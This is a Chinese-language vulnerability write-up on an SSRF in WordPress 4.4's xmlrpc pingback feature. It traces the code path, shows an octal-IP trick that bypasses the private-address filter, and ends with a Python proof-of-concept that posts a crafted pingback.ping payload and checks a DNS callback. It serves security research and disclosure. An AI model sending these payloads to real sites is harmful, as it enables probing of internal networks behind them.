WordPress 4.4 SSRF
[Vulnerability Analysis]
通过这个漏洞熟悉一下WP的代码。
数据跟踪
[xmlrpc.php] 获取POST的数据
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
创建xmlrpc_server,使用serve_request()
方法处理输入。
$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
$wp_xmlrpc_server = new $wp_xmlrpc_server_class;
// Fire off the request
$wp_xmlrpc_server->serve_request();
[wp-includes/class-wp-xmlrpc-server.php] public function serve_request()
line 194
$this->IXR_Server($this->methods);
[wp-includes/class-IXR.php] public function IXR_Server()
line 432
$this->serve($data);
[wp-includes/class-IXR.php] function serve($data = false)
line 470
$result = $this->call($this->message->methodName, $this->message->params);
[wp-includes/class-IXR.php] function call($methodname, $args)
line 520:
$result = $this->method($args)
//method:"pingback_ping"
//args:{"http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
[wp-includes/class-wp-xmlrpc-server.php] public function pingback_ping($args)
line 6181
$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );
//$pagelinkedfrom:"http://139.129.132.156:8080/"
//$pagelinkedto:"http://localhost/wordpress/?p=1"
[wp-includes/plugin.php] function apply_filters( $tag, $value )
line 235
$value = call_user_func_array($the_['function'], array_slice($args, 1, (int) $the_['accepted_args']));
//$args:{"pingback_ping_source_uri","http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
//$the_['function']="pingback_ping_source_uri"
//$the_['accepted_args']=1
[wp-includes/comment.php]function pingback_ping_source_uri( $source_uri )
line 2435
return (string) wp_http_validate_url( $source_uri );
//$source_uri:"http://139.129.132.156:8080/"
[wp-includes/http.php] function wp_http_validate_url( $url )
line 528
$host = trim( $parsed_url['host'], '.' ); // $host="139.129.132.156"
if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) // Error condition for gethostbyname()
$ip = false;
}
if ( $ip ) {
$parts = array_map( 'intval', explode( '.', $ip ) );
if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
|| ( 192 === $parts[0] && 168 === $parts[1] )
) {
// If host appears local, reject unless specifically allowed.
/**
* Check if HTTP request is external or not.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since 3.6.0
*
* @param bool false Whether HTTP request is external or not.
* @param string $host IP of the requested host.
* @param string $url URL of the requested host.
*/
if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
return false;
}
}
代码中对首先判断输入是否为IP,然后对本地的IP地址进行过滤(127,10,192)。
由于URL接受8进制,即输入为 http://010.10.43.2
时,会满足第一次正则校检,同时可以绕过第二次的过滤,造成内网10地址段的SSRF。
经过检查之后的数据回到pingback_ping: [wp-includes/class-wp-xmlrpc-server.php] public function pingback_ping($args)
line 6262
$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
//$pagelinkedfrom="8080"
[wp-includes/http.php] function pings_open( $post_id = null )
function wp_safe_remote_get( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
[wp-includes/class-http.php] public function get($url, $args = array())
line 430
return $this->request($url, $r);
[wp-includes/class-http.php] public function request( $url, $args = array() )
line 277
$response = $this->_dispatch_request( $url, $r );
[wp-includes/class-http.php] private function _dispatch_request( $url, $args )
line 367
$response = $transports[$class]->request( $url, $args );
[wp-includes/class-wp-http-curl.php] public function request($url, $args = array())
line 239
curl_exec( $handle );
到此发包动作结束,公网主机接受到数据:
随后处理回显,无论成功与否都会返回:
修复与PoC
通过xmlrpc对外网的SSRF目前WP 5.X-latest
仍然可用。 但访问内网的漏洞在5.x版本已补,官方修复方式为更改了判定IP的正则,使http://010.xxxx
这种IP无法通过。
由于没有回显,只能使用CloudEye的DNS日志和Apache日志确认目标。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T
"""
WordPress 4.4 Server Side Request Forgery (SSRF)
Version
WordPress <= 4.4.2
"""
import requests
from plugin.cloudeye import CloudEye
req_timeout = 10
def poc(url):
if '://' not in url:
url = 'http://' + url
targeturl = url.rstrip('/') + "/xmlrpc.php"
c = CloudEye()
dst = c.getRandomDomain('wpssrf')
# 第一个地址段为SSRF的目标地址,格式为(http[s]://IP|DOAMIN)[:(80|8080|443)]。
# 只能这三个端口,外网地址全通,内网地址被过滤,可用8进制突破10开头的地址段。
# 第二个地址段需要该站实际存在的文章地址,用?p=1自动适配。
payload = """
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://{target}/</string></value></param>
<param><value><string>{victim}?p=1</string></value></param>
</params>
</methodCall>""".format(target=dst, victim=url.rstrip('/') + '/')
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Content-Type': 'text/xml'}
try:
# 无法从回显判断
requests.post(targeturl, data=payload, headers=header, timeout=req_timeout)
if c.verifyDNS(delay=3):
return True
except Exception, e:
pass
return False